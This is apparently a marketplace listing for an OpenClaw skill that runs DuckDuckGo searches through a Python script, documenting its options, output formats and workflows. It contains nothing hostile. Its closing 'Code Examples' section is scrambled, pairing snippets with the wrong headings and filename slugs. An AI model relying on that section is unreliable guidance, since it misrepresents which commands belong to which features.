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Web Search Hub

Use this skill when users need to search the web for information, news, images, or videos.

Rating
4.9 (140 reviews)
Downloads
545 downloads
Version
1.0.0

Overview

Use this skill when users need to search the web for information, news, images, or videos.

Complete Documentation

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Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run pip install duckduckgo-search

Installation Best Practices:

  • If you encounter permission errors, use a virtual environment instead of system-wide installation
  • For virtual environment: python -m venv venv && source venv/bin/activate && pip install duckduckgo-search
  • Never use --break-system-packages as it can damage your system's Python installation

Quick Reference

TaskCommand
Basic web searchpython scripts/search.py "query"
Recent newspython scripts/search.py "topic" --type news --time-range w
Find imagespython scripts/search.py "subject" --type images
Find videospython scripts/search.py "tutorial" --type videos
Save resultspython scripts/search.py "query" --output file.txt
JSON outputpython scripts/search.py "query" --format json

Core Search Types

Web Search (Default)

Returns web pages with titles, URLs, and descriptions.

bash
python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20

News Search

Returns articles with source, date, and summary.

bash
python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d

Image Search

Returns images with URLs, thumbnails, dimensions, and source.

bash
python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue

Video Search

Returns videos with title, publisher, duration, date, and URL.

bash
python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long

Essential Options

Result Count

bash
--max-results N    # Default: 10, range: 1-unlimited

Examples:

bash
python scripts/search.py "machine learning" --max-results 5   # Quick overview
python scripts/search.py "research topic" --max-results 30    # Comprehensive

Time Filtering

bash
--time-range <d|w|m|y>
# d = past day
# w = past week  
# m = past month
# y = past year

Examples:

bash
python scripts/search.py "tech news" --time-range d      # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications

Region Selection

bash
--region <code>    # Default: wt-wt (worldwide)

Common codes: us-en, uk-en, ca-en, au-en, de-de, fr-fr

Example:

bash
python scripts/search.py "local events" --region us-en --type news

Safe Search

bash
--safe-search <on|moderate|off>    # Default: moderate

Example:

bash
python scripts/search.py "medical information" --safe-search on

Output Formats

Text (Default)

Clean, numbered results with URLs and descriptions.

bash
python scripts/search.py "topic"

Output:

text
1. Page Title
   URL: https://example.com
   Description text here...

2. Next Result
   URL: https://example.com/page
   Description text...

Markdown

Formatted with headers, bold, and links.

bash
python scripts/search.py "topic" --format markdown

Output:

markdown
## 1. Page Title

**URL:** https://example.com

Description text here...

JSON

Structured data for programmatic processing.

bash
python scripts/search.py "topic" --format json

Output:

json
[
  {
    "title": "Page Title",
    "href": "https://example.com",
    "body": "Description text..."
  }
]

Save to File

bash
--output <filepath>

Examples:

bash
python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json

Image Search Filters

Size

bash
--image-size <Small|Medium|Large|Wallpaper>

Example:

bash
python scripts/search.py "landscape" --type images --image-size Large

Color

bash
--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>

Example:

bash
python scripts/search.py "abstract art" --type images --image-color Blue

Type

bash
--image-type <photo|clipart|gif|transparent|line>

Example:

bash
python scripts/search.py "icons" --type images --image-type transparent

Layout

bash
--image-layout <Square|Tall|Wide>

Example:

bash
python scripts/search.py "wallpaper" --type images --image-layout Wide

Video Search Filters

Duration

bash
--video-duration <short|medium|long>

Example:

bash
python scripts/search.py "recipe" --type videos --video-duration short

Resolution

bash
--video-resolution <high|standard>

Example:

bash
python scripts/search.py "tutorial" --type videos --video-resolution high

Common Workflows

Research a Topic

Gather comprehensive information across multiple search types:

bash
# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt

# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt

# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt

# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt

Track Current Events

Monitor breaking news on specific topics:

bash
python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md

Find Visual Resources

Search for images with specific requirements:

bash
python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt

Fact-Check Information

Verify claims with recent sources:

bash
python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt

Market Research

Gather business intelligence:

bash
python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt

Academic Research

Find scholarly resources:

bash
python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md

Implementation Guidelines

When users request web searches, follow this approach:

1. Identify Intent

  • What content type? (web, news, images, videos)
  • How recent? (use --time-range for current info)
  • How many results? (adjust --max-results)
  • Any special filters? (size, color, duration, etc.)

2. Configure Search

bash
python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]

3. Choose Format

  • Text: Quick reading, immediate review
  • Markdown: Documentation, formatted reports
  • JSON: Further processing, automation

4. Execute and Process

bash
# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches

Best Practices

Search Strategy

  • Start specific - Use clear, targeted queries
  • Use time filters - Apply --time-range for current topics
  • Adjust result count - Start with 10-20, increase if needed
  • Choose right type - News for current events, web for general info

Output Management

  • Save important searches - Use --output to preserve results
  • Use appropriate format - JSON for automation, markdown for docs
  • Organize files - Create folders for multi-search research

API Usage

  • Avoid rapid requests - Space out searches to prevent rate limiting
  • Be efficient - Use filters to get better results with fewer searches
  • Respect limits - Don't hammer the API unnecessarily

Troubleshooting

Installation Issues

"Missing required dependency"

bash
# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search

Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.

"OpenClawCLI not found"

  • Download from https://clawhub.ai/
  • Install for your OS (Windows/MacOS)
  • Verify installation: openclaw --version

Search Issues

"No results found"

  • Broaden search terms
  • Remove time filters
  • Try different query phrasing
"Timeout errors"
  • DuckDuckGo service may be temporarily unavailable
  • Wait a moment and retry
  • Check internet connection
"Unexpected results"
  • DuckDuckGo results differ from Google
  • Refine query with more specific terms
  • Try adding context to the query

Rate Limiting

"Too many requests"

  • Space out searches (wait 1-2 seconds between requests)
  • Reduce frequency if making automated searches
  • Consider batching queries instead of individual requests

Advanced Usage

Combining Multiple Searches

Build comprehensive research by combining search types:

bash
# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt

Programmatic Processing

Use JSON for automated workflows:

bash
# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json

Building Knowledge Bases

Create searchable documentation:

bash
mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md

Limitations

Search Capabilities

  • Results depend on DuckDuckGo's index (may differ from Google)
  • No advanced operators (no site:, filetype:, etc.)
  • Image/video results may be limited compared to web search
  • No control over ranking algorithms

Content Access

  • Cannot access paywalled content
  • Some sites may block DuckDuckGo crawler
  • Dynamic JavaScript content may not be indexed
  • Real-time data may have slight delays

API Constraints

  • Rate limiting applies to prevent abuse
  • No guaranteed uptime or availability
  • Results may vary by region and time
  • Some queries may be filtered for safety

Complete Command Reference

bash
python scripts/search.py "<query>" [OPTIONS]

REQUIRED:
  query              Search query string (in quotes)

SEARCH TYPE:
  -t, --type         web|news|images|videos (default: web)

RESULTS:
  -n, --max-results  Maximum results (default: 10)
  --time-range       d|w|m|y (day, week, month, year)
  -r, --region       Region code (default: wt-wt)
  --safe-search      on|moderate|off (default: moderate)

OUTPUT:
  -f, --format       text|markdown|json (default: text)
  -o, --output       Save to file path

IMAGE FILTERS:
  --image-size       Small|Medium|Large|Wallpaper
  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
  --image-type       photo|clipart|gif|transparent|line
  --image-layout     Square|Tall|Wide

VIDEO FILTERS:
  --video-duration   short|medium|long
  --video-resolution high|standard

HELP:
  --help             Show all options and usage examples

Examples by Use Case

Quick Searches

bash
# Simple query
python scripts/search.py "python tutorials"

# Get more results
python scripts/search.py "python tutorials" --max-results 25

Current Events

bash
# Today's news
python scripts/search.py "AI developments" --type news --time-range d

# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30

Visual Content

bash
# Find photos
python scripts/search.py "nature photography" --type images --image-type photo

# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large

# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent

Video Content

bash
# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short

# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long

Saved Research

bash
# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md

# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json

Support

For issues or questions:

  • Check this documentation for solutions
  • Run python scripts/search.py --help for command-line help
  • Verify OpenClawCLI installation at https://clawhub.ai/
  • Ensure duckduckgo-search library is installed
Key Resources:
  • OpenClawCLI: https://clawhub.ai/
  • DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/

Installation

Terminal bash 

openclaw install web-search-hub
Copied!

💻Code Examples

python scripts/search.py "python asyncio tutorial" --max-results 20

python-scriptssearchpy-python-asyncio-tutorial---max-results-20.txt
### News Search

Returns articles with source, date, and summary.

python scripts/search.py "AI regulation" --type news --time-range d

python-scriptssearchpy-ai-regulation---type-news---time-range-d.txt
### Image Search

Returns images with URLs, thumbnails, dimensions, and source.

python scripts/search.py "abstract art" --type images --image-color Blue

python-scriptssearchpy-abstract-art---type-images---image-color-blue.txt
### Video Search

Returns videos with title, publisher, duration, date, and URL.

python scripts/search.py "documentary" --type videos --video-duration long

python-scriptssearchpy-documentary---type-videos---video-duration-long.txt
---

## Essential Options

### Result Count

--region <code> # Default: wt-wt (worldwide)

--region-code--default-wt-wt-worldwide.txt
**Common codes:** `us-en`, `uk-en`, `ca-en`, `au-en`, `de-de`, `fr-fr`

**Example:**

python scripts/search.py "medical information" --safe-search on

python-scriptssearchpy-medical-information---safe-search-on.txt
---

## Output Formats

### Text (Default)
Clean, numbered results with URLs and descriptions.

Description text...

-description-text.txt
### Markdown
Formatted with headers, bold, and links.

Description text here...

description-text-here.txt
### JSON
Structured data for programmatic processing.

python scripts/search.py "data" --format json --output data.json

python-scriptssearchpy-data---format-json---output-datajson.txt
---

## Image Search Filters

### Size

python scripts/search.py "wallpaper" --type images --image-layout Wide

python-scriptssearchpy-wallpaper---type-images---image-layout-wide.txt
---

## Video Search Filters

### Duration

Tags

#web_and-frontend-development #web

Quick Info

Category Development
Model Claude 3.5
Complexity One-Click
Author anisafifi
Last Updated 3/10/2026
🚀
Optimized for
Claude 3.5
🧠

Ready to Install?

Get started with this skill in seconds

openclaw install web-search-hub

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